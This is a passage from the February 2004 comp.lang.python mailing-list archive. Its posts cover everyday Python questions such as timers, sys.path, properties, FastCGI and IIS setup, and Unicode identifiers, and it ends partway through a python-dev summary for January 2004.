> think I can make it work.

import re
text = "look ma, <b>no</b> html!"
cleaned = re.sub(r'<[^>]*>', '', text)
print cleaned

> Also while I can write the words extracted to a file
> what are the advisable ways to associate them with the
> index? Also I want to avoid writing in the dictionary
> the same 2 words with different indexes?

Look at the 'sets' module in the Library.




From jonas at jonasgalvez.com  Sun Feb 22 11:48:49 2004
From: jonas at jonasgalvez.com (Jonas Galvez)
Date: Sun, 22 Feb 2004 13:48:49 -0300
Subject: call a function every n mseconds
References: <slrnc3fuec.8pk.vedranf@rijeka.riteh.hr>
Message-ID: <c1an35$inu$1@sea.gmane.org>

> [Vedran Furac]
> How can I call a function every time a specified number of
> milliseconds elapses? Javascript has setInterval() function and I
> need something like that.

Funny, yesterday I was looking for exactly the same thing. I ended up
creating a small module with a somewhat hackish implementation of
setInterval and clearInterval, but it's been OK for my needs:


from threading import Timer

def setInterval(f, i, *params):
    def fWrapper():
        apply(f, params)
        fWrapper.t = Timer(i, fWrapper)
        fWrapper.t.start()
    fWrapper.t = Timer(i, fWrapper)
    fWrapper.t.start()
    return fWrapper

def clearInterval(timerRef):
    timerRef.t.cancel()


Hope it works out for you.


Jonas







From ketulp_baroda at yahoo.com  Thu Feb 26 01:03:57 2004
From: ketulp_baroda at yahoo.com (ketulp_baroda at yahoo.com)
Date: 25 Feb 2004 22:03:57 -0800
Subject: problem in appending a path to sys.path
References: <f046efac.0402242237.3734ee75@posting.google.com>
	<403CF96D.AE14D5CE@engcorp.com>
Message-ID: <f046efac.0402252203.7aea2f23@posting.google.com>

Peter Hansen <peter at engcorp.com> wrote in message news:<403CF96D.AE14D5CE at engcorp.com>...
> ketulp_baroda at yahoo.com wrote:
> > 
> > What am I doing wrong here??
> 
> As rabbits77 said, your change is not being persisted.  What you
> can do instead of using PYTHONPATH, if you wish, is read the header
> comment in the file python\lib\site.py (i.e. look in your Python 
> folder tree for that file) and create a ".pth" file with the appropriate
> contents.  As you are on Windows, make sure you take care to create it
> with a lower-case extension, not .PTH, as site.py is case-sensitive in
> this respect.
> 
> -Peter
Thanks
this is exactly what I was looking for


From tim.one at comcast.net  Mon Feb 16 11:49:30 2004
From: tim.one at comcast.net (Tim Peters)
Date: Mon, 16 Feb 2004 11:49:30 -0500
Subject: Hashability of classes, old and new
In-Reply-To: <20040216141555.GA3567@titan.progiciels-bpi.ca>
Message-ID: <LNBBLJKPBEHFEDALKOLCEEBMIPAB.tim.one@comcast.net>

[Fran?ois Pinard]
> Hi, people.  I observe that there is a difference in hashability
> between old-style and new-style instances, when they are comparable.
> I wonder what I meaning I should make out of this.

You're looking at bugs, and new-style behavior will change.  See:

    "New style classes and __hash__"
    http://www.python.org/sf/660098




From pinard at iro.umontreal.ca  Wed Feb 18 17:14:47 2004
From: pinard at iro.umontreal.ca (=?iso-8859-1?Q?Fran=E7ois?= Pinard)
Date: Wed, 18 Feb 2004 17:14:47 -0500
Subject: regular expressions and renaming files
In-Reply-To: <20040218220114.GA26994@alcyon.progiciels-bpi.ca>
References: <20040218172527.GE30614@lebel.org>
	<20040218220114.GA26994@alcyon.progiciels-bpi.ca>
Message-ID: <20040218221447.GA27341@alcyon.progiciels-bpi.ca>

[Fran?ois Pinard]

>     assert len(arguments) < 2, arguments

Make this `>=' instead of `<'! :-)

-- 
Fran?ois Pinard   http://www.iro.umontreal.ca/~pinard



From peter at engcorp.com  Fri Feb 27 09:24:17 2004
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 27 Feb 2004 09:24:17 -0500
Subject: How to obscure a password
References: <mailman.181.1077833179.8594.python-list@python.org>
	<403F4DE2.F9D1007C@engcorp.com>
Message-ID: <403F5311.F3596E7A@engcorp.com>

Peter Hansen wrote:
> 
> > Peter Hansen wrote:
> > #- Is it that you're going to be sending this password to a
> > #- remote system,
> > #- so basically you've got a utility which allows storing the password
> > #- locally so that a user doesn't have to retype it but can still access
> > #- the remote system?  (If that's the case, you could title this utility
> > #- "security-removal-tool" because that's what it is.  Your
> > #- call though...)
>
[snip Facundo's reply]
> 
> Ah, storing it _locally_.  That's at least a darn sight better than storing
> it unencrypted on a server where an adminstrator has access.  At least this
> way one can rely on physical protections such as the lock on the office door...

Sorry, I must have been clueless when I wrote the first message.  For some
reason I was thinking that the place where the file was stored would be
accessible to other people, even though I clearly knew at the time it was
"local".  Must have confused myself after my first impression that this would 
be storing the password on a server where an admin user could see it.

So local is okay, and yes, I know, dozens of other programs already do
this, probably with less security than whatever you'll come up with.

-Peter


From robin at wiretooth.com  Sat Feb 21 11:10:44 2004
From: robin at wiretooth.com (robin bryce)
Date: Sat, 21 Feb 2004 16:10:44 +0000
Subject: running fastcgi on windows?
In-Reply-To: <c17ls5$hmr$04$1@news.t-online.com>
References: <c17ls5$hmr$04$1@news.t-online.com>
Message-ID: <1077379844.5922.156.camel@localhost.localdomain>

wolf,

I've been working in this area recently. I'm new to it too so don't take
what I say as gospel. 

apache's mod_fastcgi talks to the scripts it loads via stdin, stdout and
stderr.

It deals with three basic cases: Dynamic scripts started when the url is
first accessed, Static scripts that are started with the apache server
and external scripts which are started independently of apache.

In all cases you need to think of the scripts in question as vanilla
executables that you would run at a command prompt. The difference is
that mod_fastcgi writes the request data to the exe process standard
input and expects response data, in FastCGI format, on the standard
output.

mod_fastcgi does not care what the 'exe' is as long as it replies using
the FastCGI protocol on the standard output. 

The differences in the above cases are to do with how and when the
scripts are started and by what. 

In all of the above cases fcgi.py acts as a utility script for helping
you to to write python scripts that can read fastcgi request data from
the standard input and reply to that request, in fastcgi format, on the
standard output. if you had a program other than apache that talked
FastCGI then these scripts would probably be just as happy talking to it
as they would apache.

the problem with fcgi.py on windows is probably, I have not tried it on
windows, to do with os dependencies introduced by the need to open and
manipulate sockets and redirect standard output. making it windows
friendly is essentially a job of bullying it into doing things the
Windows way (but see attached file and later comments for a possible
alternative).

the _test() function in fcgi.py is the basic template for the body of
your fastcgi friendly python script. a typical fast cgi friendly python
script would look like:

#!/path/to/python
import fcgi

# something modelled on the body of fcgi._test()

# end

I spent longer than I should have with this all broken simply because I
forgot that statements like print "why am I broken" write to the
standard output.

The best place for information about configuring Apache to use fastcgi
is proly the fastcgi site [1] and you should verify my assertions there.
Also a book that helped me loads was "Professional Apache 2.0" by Peter
Wainwright [2].

options for the dynamic case:

# turn on cgi
Options +ExecCGI

# turn on fastcgi for url's ending in .py - can be any extension  you
like.

AddHandler fastcgi-script .py 
	
# restart now and again to counter memory leaks and limmit the number of
processes

FastCgiConfig -restart -restart-delay 10 -maxprocesses 5

are about the only options you need - assuming you've loaded mod_fastcgi

options for the static case:

FastCgiServer /path/to/your/script.extension -init-start-delay 5
replaces FastCgiConfig


I recently modified the fcgi.py script you referenced to get it to work
with the Twisted framework [3]. This let me bridge from an apache server
to a remote Twisted web server using the the third, external server
model. After I did this I posted my changes [4] to fcgi.py to the
Twisted mailing list only to have someone, very kindly, point out I
could have got the same job done much easier with mod_proxy. I'm still
not clear if FastCGI offers any advantages over mod_proxy in this case.

The modifications remove the portions of fcgi.py that are dependent os
services and instead rely on the Twisted framework for this. I have not
run my app on a windows box since I introduced this feature but it was
running on windows before this. I can see no reason why it won't still
work.

This is the FastCGI case where apache is configured using the
FastCGIExternalServer directive.

FastCGIExternalServer /dummy/resource/path/foo.py -host
127.0.0.1:PORTNUM

you can replace the ip address with a remote one or do
-RPORTNUM:127.0.0.1:PORTNUM style tricks with ssh (PuTTY to windows
users[5]).


Hope this helps & best of luck.

Robin

[1] http://www.fastcgi.com/mod_fastcgi/docs/mod_fastcgi.html
[2] "Professional Apache 2.0"by Peter Wainwright. http://www.wrox.com/
[3] http://www.twistedmatrix.com/
[4] The version of fcgi.py with my mods is atatched. I've been in touch
with Robin Dunn and he's fine about me contributing my mods provided the
original copyright and boiler plate is left intact. Please note that
Robin Dunn has _not_ in anyway suggested that my mods are beneficial in
anyway.
[5] http://www.chiark.greenend.org.uk/~sgtatham/putty/

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From martin at v.loewis.de  Thu Feb 12 02:04:11 2004
From: martin at v.loewis.de (=?UTF-8?B?Ik1hcnRpbiB2LiBMw7Z3aXMi?=)
Date: Thu, 12 Feb 2004 08:04:11 +0100
Subject: Allowing non-ASCII identifiers
In-Reply-To: <mailman.0.1076542666.698.python-list@python.org>
References: <uFQVb.58$%X3.42@nwrddc01.gnilink.net><4027EAC5.2090603@prescod.net>	<402806A4.6020502@v.loewis.de>	<mailman.1391.1076369629.12720.python-list@python.org>	<102geglh6cprm45@news.supernews.com>
	<4029177e$1@nntp0.pdx.net>
	<mailman.0.1076542666.698.python-list@python.org>
Message-ID: <c0f8h6$8e4$01$1@news.t-online.com>

Dietrich Epp wrote:
> You could require that all identifiers be the canonically decomposed 
> Unicode representations encoded into UTF-8.  

That would be unpythonic: non-ASCII identifiers should be represented
as Unicode objects, not as UTF-8 byte strings.

> I personally think that Unicode identifiers would be catastrophic.  With 
> Unicode on the web, if you can't represent some characters, you can't 
> read the web page.  With programming, it could mean that you are unable 
> to use a particular module, altering the functionality for people who 
> can't enter certain codes. 

It is the case that some people would have problems invoking certain
functions. Why would that be a catastrophy? Authors of Python software
should make a choice whether they prefer readability of the source code,
or accessibility to everyone. Depending on the situation, one choice
or the other may be appropriate. Python should not police that decision
for the developer.

> There is also the issue of which characters 
> to allow, because some characters look like numbers.

Yes. I would go with a list similar to the Java one, except with a
few obvious restrictions (e.g. disallow currency symbols: Python
does not allow the DOLLAR SIGN in identifiers, whereas Java does).

> Is unicode 'IV' a number or an identifier?

It is certainly *not* a number. I propose to change the syntax of
identifiers, not of numbers. Whether this specific character ? is
an identifier or should give a syntax error is a choice one needs
to make, certainly. What would be your choice?

 > What about a circled 4?  What about unicode
> line breaks and paragraph breaks?  What about opening and closing quote 
> marks?  What about right-to-left characters?  What about ligatures?  
> Non-breaking spaces?  Function application?

The Unicode consortium gives guidance on all these questions. As I said,
I would closely follow the Java principles, which were derived from
the Unicode consortium guidance. Here is my proposal:

     Legal non-ASCII identifiers are what legal non-ASCII
     identifiers are in Java, except that Python may use
     a different version of the Unicode character database.
     Python would share the property that future versions
     allow more characters in identifiers than older versions.

     If you are too lazy too look up the Java definition,
     here is a rough overview:
     An identifier is "JavaLetter JavaLetterOrDigit*"

     JavaLetter is a character of the classes Lu, Ll,
     Lt, Lm, or Lo, or a currency symbol (for Python:
     excluding $), or a connecting punctuation character
     (which is unfortunately underspecified - will
      research the implementation).

     JavaLetterOrDigit is a JavaLetter, or a digit,
     a numeric letter, a combining mark, a non-spacing
     mark, or an ignorable control character.

I believe this specification allows you to answer your questions
yourself.

> I think the assumption some people have is that Unicode will only ever 
> be used for things that are like the roman alphabet: adding diacritical 
> marks, etc.  It sounds like the most worthless extension ever, and the 
> only language I think of when I think of special characters is Intercal.  

That is certainly not my assumption. Instead, I expect that this
extension will primarily be used by developers whose native language
is Russian, Japanese, Chinese, Korean, or Arabic. Atleast, I've heard
developers from these cultures ask for the specific feature in the
past (I've also heard French and German people ask for the feature,
but that fits with your expectation).

Regards,
Martin



From drconrad at metaplay.com.au  Sat Feb 28 10:24:09 2004
From: drconrad at metaplay.com.au (SimonW)
Date: Sat, 28 Feb 2004 23:24:09 +0800
Subject: Python as replacement for PHP?
In-Reply-To: <40408c29$0$2435$626a14ce@news.free.fr>
References: <403fa54b@news.zianet.com> <c1obji$8m9$1@solaris.cc.vt.edu>
	<40408c29$0$2435$626a14ce@news.free.fr>
Message-ID: <4040B299.6040103@metaplay.com.au>

Bruno Desthuilliers wrote:

> Bart Nessux wrote:
>
>> Erik Johnson wrote:
>>
>>> This is somewhat a NEWBIE question...
>>>
>>>     My company maintains a small RDBS driven website. We currently 
>>> generate
>>> HTML using PHP.  I've hacked a bit in Python, and generally think it 
>>> is a
>>> rather cool language. I've done Perl and like it, there are a few 
>>> features
>>> of PHP I like but overall am not too excited about it.
>>

I've found that the server pages paradigm, used by PHP and ASP, to be 
rather limiting when it comes to larger scale web applications. The 
paradigm also lends itself to creating spaghetti code (and sites). 
Python on the other hand, is quite capable of creating systems not bound 
by the convential server page paradigm. It also has powerful facilities 
for managing modules, classes and namespaces, which PHP lacks. These 
things help out tremendously when it comes to maintenance. Unless PHP 
has changed drastically in the last year or so, I believe these 
assertions to still be correct.

>>
>> When it comes to dynamic, DB driven sites, PHP is the only way to go. 
>> Python is not even close to being suited for this task.
>
I've been programming PHP for much longer than I have been using Python. 
After cleansing my mind of the server pages style architecture forced 
upon me by PHP, I re-found the fun I used to experience in web 
programming. Python is perfect for the job. I've found mod-python a bit 
of a chore, so I used twisted web for a while. I've now written my own 
server, specifically for handling a REST style architecture. It took me 
4 hours to write. It handles gzip encoding and basic authentication. 
This is not a testament to my ability, but to the fluidity and power of 
Python.

>> A serious business decision? PHP would be the only winner here. You 
>> should not even be considering another language for this, it borders 
>> on stupidity. 
>
You provide no qualification for this statement. Your admonition to 
"not  even" consider other languages than PHP is bad advice, and springs 
from your own stupidity and/or ignorance.


Regards,

Simon Wittber.



From and-google at doxdesk.com  Wed Feb 25 06:00:45 2004
From: and-google at doxdesk.com (Andrew Clover)
Date: 25 Feb 2004 03:00:45 -0800
Subject: Python scripts in IIS
References: <LIr_b.5246$yZ1.386@newsread2.news.pas.earthlink.net>
	<403A5840.CE02049@engcorp.com>
	<f0u_b.6405$aT1.4998@newsread1.news.pas.earthlink.net>
	<403A7103.7F1CE0D8@engcorp.com>
	<aHv_b.6560$aT1.3079@newsread1.news.pas.earthlink.net>
	<Xns949954A8E8DA6sdfexpertunecom@216.168.3.44>
	<6DJ_b.7904$aT1.2403@newsread1.news.pas.earthlink.net>
Message-ID: <2c60a528.0402250300.17451bfe@posting.google.com>

Jon Cosby <jcosby at nospam.net> wrote:

> Thanks. I had left out the trailing arguments. What is "%s" for, anyway?

It gets substituted with the name of the .py file.

Note: you really want -

   ...python.exe -u %s %s

The -u ensures you get binary IO streams, which will become significant if
you are receiving file upload fields or returning a non-textual response
(ie. file download).

-- 
Andrew Clover
mailto:and at doxdesk.com
http://www.doxdesk.com/


From has.temp at virgin.net  Mon Feb 23 16:38:50 2004
From: has.temp at virgin.net (has)
Date: 23 Feb 2004 13:38:50 -0800
Subject: derivation: sick Python trick of the week
References: <mailman.177.1077495021.27104.python-list@python.org>
	<c1bobu$1g1p9e$1@ID-169208.news.uni-berlin.de>
Message-ID: <73c38014.0402231338.1ce858e9@posting.google.com>

"Greg Ewing (using news.cis.dfn.de)" <wmwd2zz02 at sneakemail.com> wrote in message news:<c1bobu$1g1p9e$1 at ID-169208.news.uni-berlin.de>...

> Robert Brewer wrote:
>> In a fit of mad-scientist genius (get out the pitchforks and
torches), I
>> wondered if it might be faster to let Python do *all* the parsing,
and
>> just watch it work and take notes. That's what the code below does.
The
>> sick and twisted part is how one invokes this technique:
> 
> It's not really all that sick, or at least it's not a new
> idea. 

And a lot less sick that hacking the language compiler in my
opinion/experience... (I came to Python from a certain language whose
use of clever-clever compiler hackery makes it ludicrously tetchy
about how you structure your code. ("No, no! You must write it THIS
way!") Such contextual confusion and pain in the brain that you
wouldn't believe, the moment you try writing anything but the most
trivial code in the most trivial fashion.)


> I'm sure there's at least one DB module out there
> somewhere that uses this technique.

Can't speak for DB modules, but must confess to using a close
variation of this technique in my current project - a
MacPython-to-Apple Event Manager bridge - where it's used to assemble
AEM references and test expressions.

Main difference in my design to Robert's is that call capture objects
don't share mutable state. This means users can safely define new
references/test expressions by extending existing ones if they like,
rather than having to create a new one from scratch each time; the
original object won't be changed by this. eg:

    import sick_derive

    x = sick_derive.Expression()

    e1 = ((x.b > 1) | (x.b < -10))
    e2 = (e1 == 4)

    print sick_deriver.Deriver().derive(e2.expr)
    --> (((b > 1) or (b < -10)) == 4)

    print sick_derive.Deriver().derive(e1.expr)
    --> (((b > 1) or (b < -10)) == 4) # !!! e1 has also changed!


vs:

    from appscript import its

    e3 = its.name_extension.isin(['jpg', 'jpeg'])
    e4 = e3 .OR (its.file_type == 'JPEG')

    print e4
    # --> OR(its.name_extension.isin(['jpg', 'jpeg']), its.file_type
== 'JPEG')

    print e3
    # --> its.name_extension.isin(['jpg', 'jpeg'])




> In the case of database queries, you can make this seem
> much more natural by having 'x' represent some meaningful
> object such as a table.
> 
>     db = open_database("favourite_fruits")
>     fruits = db.fruits
>     query = (fruits.kind == "apple") && (fruits.tastiness >= 3)

Once you solve the mutating state problem, you can simply have your
module define a single (generic) 'root' object that users can use to
build any expression. (Appscript stores this object in its global
'its' variable, allowing it to be exported.)


>> I had to replace boolean 'and' and 'or' with binary calls in order
to
>> override them, and 'not' with 'neg'. That makes it even sicker.
> 
> Yes, that's the main nuisance with this technique. 

Yup. (Trouble with these sorts of exercises is sooner or later you
start knocking against the boundaries of what the language can do,
and'll just tie yourself in knots with outrageous acrobatics if you're
not careful.)


>I have
> a PEP idea floating around to make and/or/not overridable,
> for this very purpose. Hmmm... does that make me sick?-)

Raised this idea on the PythonMac SIG last week; it died a quick death
once someone pointed out that boolean operators also perform flow
control (lazy evaluation of operands). Implementing a suitable
override mechanism would be a non-trivial exercise (and seems unlikely
the BDFL would support it).


From __peter__ at web.de  Mon Feb 16 17:17:41 2004
From: __peter__ at web.de (Peter Otten)
Date: Mon, 16 Feb 2004 23:17:41 +0100
Subject: inherit and overwrite a property (better its method call)
References: <c0r4if$bi5$07$1@news.t-online.com>
Message-ID: <c0rfi6$ldt$02$1@news.t-online.com>

chris wrote:

> hi,
> i am tinkering with properties of new style classes:
> 
> class Base(object):
> 
>      def m(self):
>          return 'p of Base'
>      p = property(m)
> 
> class Sub(Base):
>      def m(self):
>          return 'p of Sub'
> 
> b = Base()
> print b.p # prints 'p of Base'
> 
> s = Sub()
> print s.p # prints 'p of Base'!?
> 
> i was thinking s.p would use the method m of class Sub and not Base. but
> this does not work, both properties "p" of Base and Sub use method m of
> baseclass Base.
> 
> so it seems i cannot overwrite the method p calls to get its value
> without actually repeating the property definition in every subclass, or
> is there a way? the following does work but i want to get rid of the
> second p = property(m)...
> 
> class Sub(Base):
>      def m(self):
>          return 'p of Sub'
>      p = property(m)
> 
> print b.p # prints 'p of Base'
> s = Sub()
> print s.p # prints 'p of Sub'
> 
> am i missing something?

I don't think so. Anyway, I have been tinkering too, and here's what I've
come up with so far: 

class inheritableproperty(property):
    """ property with overridable accessor functions """

def funcByName(cls, fn):
    # helper func
    if fn is None: return None
    result = getattr(cls, fn.__name__, None)
    assert result is None or callable(result)
    return result

class typewithinheritableproperties(type):
    def __init__(cls, name, bases, dict):
        super(typewithinheritableproperties, cls).__init__(name, bases,
dict)
        # replace inheritable properties with new instances where
        # the accessors are determined by a name lookup in the actual class
        for name in dir(cls):
            a = getattr(cls, name)
            if isinstance(a, inheritableproperty):
                setattr(cls, name, inheritableproperty(
                    funcByName(cls, a.fget),
                    funcByName(cls, a.fset),
                    funcByName(cls, a.fdel)
                    ))

class A(object):
    __metaclass__ = typewithinheritableproperties
    def geta(self): return "A.a"
    a = inheritableproperty(geta)

class B(A):
    def geta(self): return "B.a"

class C(A): pass
class D(B): pass

print A().a
print B().a
print C().a
print D().a

http://www.python.org/2.2/descrintro.html might also be of interest for you.
It has an example of properties based on naming conventions (class
autoprop).

Peter



From bac at OCF.Berkeley.EDU  Mon Feb 23 20:50:22 2004
From: bac at OCF.Berkeley.EDU (Brett C.)
Date: Mon, 23 Feb 2004 17:50:22 -0800
Subject: python-dev Summary for 2004-01-01 through 2004-01-31
Message-ID: <403AADDE.2060402@ocf.berkeley.edu>

python-dev Summary for 2004-01-01 through 2004-01-31
++++++++++++++++++++++++++++++++++++++++++++++++++++
This is a summary of traffic on the `python-dev mailing list`_ from 
January 1, 2004 through January 31, 2004.  It is intended to inform the 
wider Python community of on-going developments on the list.  To comment 
on anything mentioned here, just post to `comp.lang.python`_ (or email 
python-list at python.org which is a gateway to the newsgroup) with a 
subject line mentioning what you are discussing. All python-dev members 
are interested in seeing ideas discussed by the community, so don't 
hesitate to take a stance on something.  And if all of this really 
interests you then get involved and join `python-dev`_!

This is the thirty-third and -fourth summaries written by Brett Cannon 
(who is rather fed up with being sick recently).

To contact me, please send email to brett at python.org ; I do not have 
the time to keep up on comp.lang.python and thus do not always catch 
follow-ups posted there.

All summaries are archived at http://www.python.org/dev/summary/ .

Please note that this summary is written using reStructuredText_ which 
can be found at http://docutils.sf.net/rst.html .  Any unfamiliar 
punctuation is probably markup for reST_ (otherwise it is probably 
regular expression syntax or a typo =); you can safely ignore it, 
although I suggest learning reST; it's simple and is accepted for `PEP 
markup`_ and gives some perks for the HTML output.  Also, because of the 
wonders of programs that like to reformat text, I cannot guarantee you 
will be able to run the text version of this summary through Docutils_ 
as-is unless it is from the original text file.

.. _PEP Markup: http://www.python.org/peps/pep-0012.html

The in-development version of the documentation for Python can be found 
at http://www.python.org/dev/doc/devel/ and should be used when looking 
up any documentation on something mentioned here.  PEPs (Python 
Enhancement Proposals) are located at http://www.python.org/peps/ .  To 
view files in the Python CVS online, go to 
http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/ .  Reported bugs 
and suggested patches can be found at the SourceForge_ project page.

The `Python Software Foundation`_ is the non-profit organization that 
holds the intellectual property for Python.  It also tries to forward 
the development and use of Python.  But the PSF_ cannot do this without 
donations.  You can make a donation at 
http://python.org/psf/donations.html .  Every penny helps so even a 
small donation (you can donate through PayPal or by check) helps.

.. _python-dev: http://www.python.org/dev/
.. _SourceForge: http://sourceforge.net/tracker/?group_id=5470
.. _python-dev mailing list: 
http://mail.python.org/mailman/listinfo/python-dev
.. _comp.lang.python: http://groups.google.com/groups?q=comp.lang.python
.. _Docutils: http://docutils.sf.net/
.. _reST:
.. _reStructuredText: http://docutils.sf.net/rst.html
.. _PSF:
.. _Python Software Foundation: http://python.org/psf/

.. contents::

.. _last summary: 
http://www.python.org/dev/summary/2003-12-01_2003-12-31.html


=====================
Summary Announcements
=====================
Quick personal announcement/plea: I am looking for a summer 
job/internship.  If you happen to have a position at your company or 
happen to know of one somewhere **please** let me know at 
brett at python.org .  I obviously know Python rather well, but I do know 
other languages.  I am quite willing to send you my resume and answer 
any questions you might have about experience, etc.  I would truly 
appreciate any help anyone can provide me in finding something for the 
summer.  I do have housing handled in the Los Angeles area and the 
Seattle/Bellevue area on top of the San Luis Obispo area, although I am 
willing to relocate for the summer.

Sorry about the lateness of this summary.  I realize this is going out 
when another one is already due.  Unfortunately, on top of needing to 
secure a summer job/internship and trying to get that dealt with, I also 
got strep throat that was rather horrid.  It was not fun to only be 
officially over pneumonia for a couple of weeks before I got sick again. 
  Rather frustrating since I haven't been this ill so often since I was 
a little kid.  And having to deal with school on top of being sick did 
not help matters.

In actual Python-related news, PyCon_ is still open for registration. 
If you haven't yet, go to http://pycon.org/dc2004/register/ and 
register!  Last year was a blast and I expect no less from this year (I 
am actually spending my Spring Break at PyCon I enjoyed myself so much 
last year).  Papers have been selected and it looks like we are going to 
have a great line-up of talks that cover the gamut of interests.  In 
other words I highly recommend attending if you can.

And even if you can't attend, if you are in the D.C. area, consider at 
least attending the first two days of the sprints which are the weekend 
preceding the conference (March 20-21).  More info on the sprints can be 
found at http://www.python.org/cgi-bin/moinmoin/SprintPlan2004 .

And now, on with the juicy stuff...

.. _PyCon: http://www.pycon.org/

=========
Summaries
=========

---------------------
Benchmarking is a go!
---------------------
After Guido committed the parrotbench code to CVS, various people began 
to run the benchmark and post their scores.  If you are curious to see 
how your machine compares take a look at the contributing threads.

Contributing threadds:
   - `Pie-thon benchmark code ready 
<http://mail.python.org/pipermail/python-dev/2004-January/041551.html>`__
   - `Re: Are we collecting benchmark results across machines 
<http://mail.python.org/pipermail/python-dev/2004-January/041553.html>`__


-----------------------------------
Windows compilation moved to VC.NET
-----------------------------------
Martin v. L??wis converted the project files and anything else needed so 
that Python can now be compiled using VC.NET .  All of the previous 
files needed for compiling under VC 6 has been moved to PC/VC6 .

Contributing threads:
   - `Switch to VC.NET 7.1 completed 
<http://mail.python.org/pipermail/python-dev/2004-January/041600.html>`__


--------------------------
Shutting Unicode errors up
--------------------------
Enough people have asked for the ability to silence Unicode errors that 
Martin v. L??wis suggested adding a module attribute in sys to specify 
whether Unicode errors should be ignored or not.  M.A. Lemburg, though, 
thought it was a bad idea and suggested instead that people use a custom 
codec that relaxed the error-handling.

the thread seemed to end with no changes planned.

Contributing threads:
   ` Relaxing Unicode error handling 
<http://mail.python.org/pipermail/python-dev/2004-January/041605.html>`__


---------------------------------------------------------------------------------------
new PEPs (sorry, nothing witty came to me about PEPs that was not 
excruciatingly corny)
---------------------------------------------------------------------------------------
In all cases, ignore the Created date in terms of posting date; click on 
the Last Modified link if you care to see when the PEP was officially added.

`PEP 324`_ proposes a new module named popen5.  As suggested by the 
name, it hopes to come up with a unified module for process creation. 
To see Guido's initial response to the PEP and what he thinks is a 
"category killer" and why any new additions to the stdlib must be one, 
read http://mail.python.org/pipermail/python-dev/2004-January/041698.html .

`PEP 325`_ proposes a 'close' method for generators so as to handle what 
normally would be handled in a try/finally block (such as closing files 
and such).

`PEP 326`_ wants to add maximum and minimum singletons.  Guido rejected 
the PEP.  There is a complete implementation, though, with the PEP.

`PEP 327`_ is the long-awaited decimal type PEP that has been in the 
process of being refined for quite a while.  Development in the sandbox 
has been moving forward.

`PEP 328`_ is the 'import' PEP in terms of multi-line imports and 
dealing with relative imports.

.. _PEP 324: http://python.org/peps/pep-0324.html
.. _PEP 325: http://python.org/peps/pep-0325.html
.. _PEP 326: http://python.org/peps/pep-0326.html
.. _PEP 327: http://python.org/peps/pep-0327.html
.. _PEP 328: http://python.org/peps/pep-0328.html

Contributing threads:
   - `PEP 324: popen5 - New POSIX process module 
<http://mail.python.org/pipermail/python-dev/2004-January/041606.html>`__
   - `New version of installer 
<http://mail.python.org/pipermail/python-dev/2004-January/041672.html>`__
   - `prePEP "Decimal data type" v0.2 
<http://mail.python.org/pipermail/python-dev/2004-January/041691.html>`__
   - `PEP 326 (quick location possibility) 
<http://mail.python.org/pipermail/python-dev/2004-January/042303.html>`__
   - `PEP 327: Decimal Data Type 
<http://mail.python.org/pipermail/python-dev/2004-January/042347.html>`__


-------------------------------------
Making Python and HP-UX friends again
-------------------------------------
Cameron Laird said he wanted to try to spear-head an attempt to get 
Python to compiled on HP-UX correctly.  In the past threading support 
has been out of the question and getting Tkinter to go has been an issue 
as well along with curses.  Cameron said he would like to get Python 
working for HP-UX as far back as version 10.20, although he said he 
would also be fine with the current 11.x versions.

Most of it seems to have to do with requiring tweaks to Configure.in, 
Modules/Setup, and setup.py .  As of this exact second no patches have 
been added to SourceForge_.  You can get a version of Python 2.3.3 
compiled for HP-UX at 
http://hpux.cs.utah.edu/hppd/hpux/Languages/python-2.3.3/ .

This also led to a slight discussion of how slightly crufty Configure.in 
is.  Any help bringing it up-to-date or cleaning up would be appreciated.

Contributing threads:
   - `HP-UX clean-up 
<http://mail.python.org/pipermail/python-dev/2004-January/041607.html>`__


----------------------------
msi installer for Python 2.4
----------------------------
Going for the record of the person mentioned the largest number times in 
a single Summary who is not labeled a BDFL, Martin v. L??wis updated his 
msi installer for Python 2.4 .  It can be found at 
http://www.dcl.hpi.uni-potsdam.de/home/loewis/python2.4.0.12421.msi 
along with info on the installer at 
http://www.dcl.hpi.uni-potsdam.de/home/loewis/msipackage.html .

Contributing threads:
   - `New version of installer 
<http://mail.python.org/pipermail/python-dev/2004-January/041661.html>`__
   - `Python MSI 
<http://mail.python.org/pipermail/python-dev/2004-January/041921.html>`__


----------------------
New collections module
----------------------
Raymond Hettinger has created a new module called 'collections'.  It 
primary purpose is to be home to "high-performance container datatypes". 
  To start, it only has an implementation of deques.

Contributing threads:
   - `collections module 
<http://mail.python.org/pipermail/python-dev/2004-January/041829.html>`__
   - `collections module (correction) 
<http://mail.python.org/pipermail/python-dev/2004-January/041899.html>`__
   - `Collections 
<http://mail.python.org/pipermail/python-dev/2004-January/042270.html>`__


----------------
CJKCodecs in 2.4
----------------
A perk of having Hye-Shik Chang an official developer of Python is 
getting his CJKCodecs integrated into Python 2.4 .

Contributing threads:
   - `CJKCodecs integration into Python 
<http://mail.python.org/pipermail/python-dev/2004-January/041836.html>`__
   - `Oodles of warnings in cjkcodecs 
<http://mail.python.org/pipermail/python-dev/2004-January/042203.html>`__


---------------
Statistics talk
---------------
Raymond Hettinger asked for some suggestions on a statistics module he 
was working on.  A whole bunch of stuff from names to algorithms to 
include came up.  There is now a module in the sandbox being worked on 
to implement what was discussed.

Contributing threads:
   - `Accumulation module 
<http://mail.python.org/pipermail/python-dev/2004-January/041988.html>`__


------------------------------------
Installer problems for MacPython-OS9
------------------------------------
Jack Jansen told python-dev how he has not been able to distribute a 
version of MacPython-OS9 for Python 2.3.3 because the free license for 
the installer expired.  It was suggested that the PSF_ pay for a 
license.  If you think this is a good idea and you are a PSF member 
consider bringing the topic up at the general meeting to be held at PyCon_.

Contributing threads:
   - `No more releases of MacPython-OS9? 
<http://mail.python.org/pipermail/python-dev/2004-January/042022.html>`__


--------------------------------------
Anyone want to maintain MacPython-OS9?
--------------------------------------
If anyone would like to take over maintenance of MacPython-OS9 so that 
it continues to exist beyond the 2.3 branch then contact Jack Jansen.

Contributing threads:
   - `PEP 11 mistake? 
<http://mail.python.org/pipermail/python-dev/2004-January/042036.html>`__


--------------
Python in 2003
--------------
Go to http://python.org/topics/2003.html to read AM Kuchling's report on 
what happened to Python in 2003.

Contributing threads:
   - `Python in 2003 summary 
<http://mail.python.org/pipermail/python-dev/2004-January/042049.html>`__


---------------------------------
Compiling using the free .NET SDK
---------------------------------
If you wish to compile Python using the free .NET SDK then read the 
first email in the contributing thread thanks to someone named Garth.

Contributing threads:
   - `Compiling python with the free .NET SDK 
<http://mail.python.org/pipermail/python-dev/2004-January/042053.html>`__


--------------------------
No dict.addlist() for you!
